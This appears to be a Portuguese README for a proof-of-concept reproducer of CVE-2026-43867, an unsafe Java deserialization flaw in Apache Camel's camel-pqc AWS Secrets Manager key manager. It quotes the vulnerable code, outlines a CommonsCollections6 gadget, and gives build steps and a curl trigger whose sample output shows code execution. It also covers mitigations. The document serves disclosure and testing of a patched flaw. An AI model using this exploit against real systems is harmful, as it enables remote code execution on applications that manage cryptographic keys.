
Reprodutor para CVE-2026-43867 — desserialização insegura de metadados de chave do Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager (RCE)
Este projeto demonstra uma vulnerabilidade de desserialização Java no componente camel-pqc do Apache Camel, rastreada como CVE-2026-43867. O método AwsSecretsManagerKeyLifecycleManager.deserializeMetadata() lê metadados de chave pós-quântica persistidos de um segredo do AWS Secrets Manager, decodificando o valor armazenado em Base64 e desserializando-o com um java.io.ObjectInputStream.readObject() bruto e sem ObjectInputFilter — a conversão para KeyMetadata ocorre apenas após readObject() retornar, portanto quaisquer efeitos colaterais de readObject() são executados primeiro. Um principal que pode escrever nesse segredo () pode armazenar um objeto serializado malicioso que é desserializado durante operações normais do ciclo de vida da chave, potencialmente levando à .
secretsmanager:PutSecretValue| Propriedade | Valor |
|---|---|
| Componente | camel-pqc (AwsSecretsManagerKeyLifecycleManager) |
| Classe Afetada | org.apache.camel.component.pqc.lifecycle.AwsSecretsManagerKeyLifecycleManager#deserializeMetadata |
| CWE | CWE-502: Desserialização de Dados Não Confiáveis |
| Impacto | Execução de código no aplicativo de gerenciamento de chaves (requer acesso de escrita ao segredo de metadados) |
| Versões Afetadas | From 4.18.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| Versões Corrigidas | 4.18.3, 4.21.0 (camel-pqc não está na linha LTS 4.14.x) |
| JIRA | CAMEL-23726 |
| Reportado por | Venkatraman Kumar (Securin) |
Mesmo defeito do CVE-2026-46590 (reportado de forma independente; esse aviso também cobre os gerenciadores irmãos HashiCorp Vault e baseados em arquivo), e um seguimento de correção incompleta do CVE-2026-40048 (CAMEL-23200), que alterou
FileBasedKeyLifecycleManagerpara um formato JSON/PKCS#8/X.509 mas não adicionou umObjectInputFiltere não cobriu os gerenciadores AWS/Vault.
// AwsSecretsManagerKeyLifecycleManager - affected 4.18.2
private KeyMetadata deserializeMetadata(String base64) throws Exception {
byte[] data = Base64.getDecoder().decode(base64);
ByteArrayInputStream bais = new ByteArrayInputStream(data);
try (ObjectInputStream ois = new ObjectInputStream(bais)) { // NO ObjectInputFilter
return (KeyMetadata) ois.readObject(); // gadget fires here, before the cast
}
}
getKeyMetadata(keyId) lê o segredo nomeado <keyPrefix>/<keyId>/metadata, analisa seu envelope JSON ({"metadata":"<base64>","keyId":...,"algorithm":...}) e passa o campo metadata para deserializeMetadata. A correção (4.18.3 / 4.21.0) introduz um KeyMetadataCodec compartilhado que armazena metadados como JSON para todos os gerenciadores e restringe as leituras remanescentes de ObjectInputStream legadas com uma lista de permissões ObjectInputFilter.
A vítima é o aplicativo que gerencia chaves PQC com o gerenciador AWS. O atacante é qualquer principal que possa escrever o segredo de metadados (secretsmanager:PutSecretValue). Esta Prova de Conceito usa LocalStack para emular o AWS Secrets Manager; o endpoint /exploit/attack escreve um segredo de metadados malicioso e então aciona o caminho de leitura do gerenciador.
CVE-2026-43867/
├── pom.xml # camel-pqc 4.18.2 + aws-sdk secretsmanager 2.41.28 + commons-collections 3.2.1
├── Dockerfile # runs the app (--add-opens for gadget build)
├── docker-compose.yml # LocalStack (Secrets Manager) + the reproducer app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Gadget.java # CommonsCollections6 gadget, fires during readObject()
│ └── ExploitController.java # writes the crafted secret, then calls getKeyMetadata()
└── resources/
└── application.properties
Em um ataque real, os bytes serializados são produzidos offline pelo atacante (ex.: com ysoserial). Esta PoC constrói o gadget em processo, e é por isso que a JVM é executada com
--add-opens java.base/java.util=ALL-UNNAMED— um detalhe de construção do gadget, não relacionado à vulnerabilidade.
mvn clean package -DskipTests
docker compose up -d --build
Isso inicia o LocalStack (emulando o AWS Secrets Manager) e o aplicativo reprodutor, que direciona seu AwsSecretsManagerKeyLifecycleManager para o LocalStack via a substituição de endpoint.
curl -s http://localhost:8080/exploit/attack
# -> Wrote crafted serialized metadata to AWS Secrets Manager secret 'pqc/keys/victim-key/metadata'.
# getKeyMetadata() threw java.lang.ClassCastException (expected — the gadget runs during readObject ...)
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-43867 ls -la /tmp/pwned
docker compose down
Qualquer aplicativo que use AwsSecretsManagerKeyLifecycleManager cujo segredo de metadados de chave possa ser escrito por uma parte diferente da identidade confiável do próprio aplicativo. A desserialização ocorre durante operações comuns do ciclo de vida da chave (getKeyMetadata, loadExistingKeys, listKeys, verificações de rotação, …).
AwsSecretsManagerKeyLifecycleManager do camel-pqc em uma versão afetada.secretsmanager:PutSecretValue nele).commons-collections:3.2.1).Atualize para 4.18.3 / 4.21.0 (CAMEL-23726). Os metadados são armazenados como JSON e quaisquer leituras remanescentes de ObjectInputStream legadas são restritas por um ObjectInputFilter de lista de permissões.
Até a atualização:
secretsmanager:PutSecretValue no segredo de metadados do camel-pqc à própria identidade do aplicativo (IAM de privilégio mínimo).Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada e corrigida publicamente. Não o utilize contra sistemas sem permissão explícita.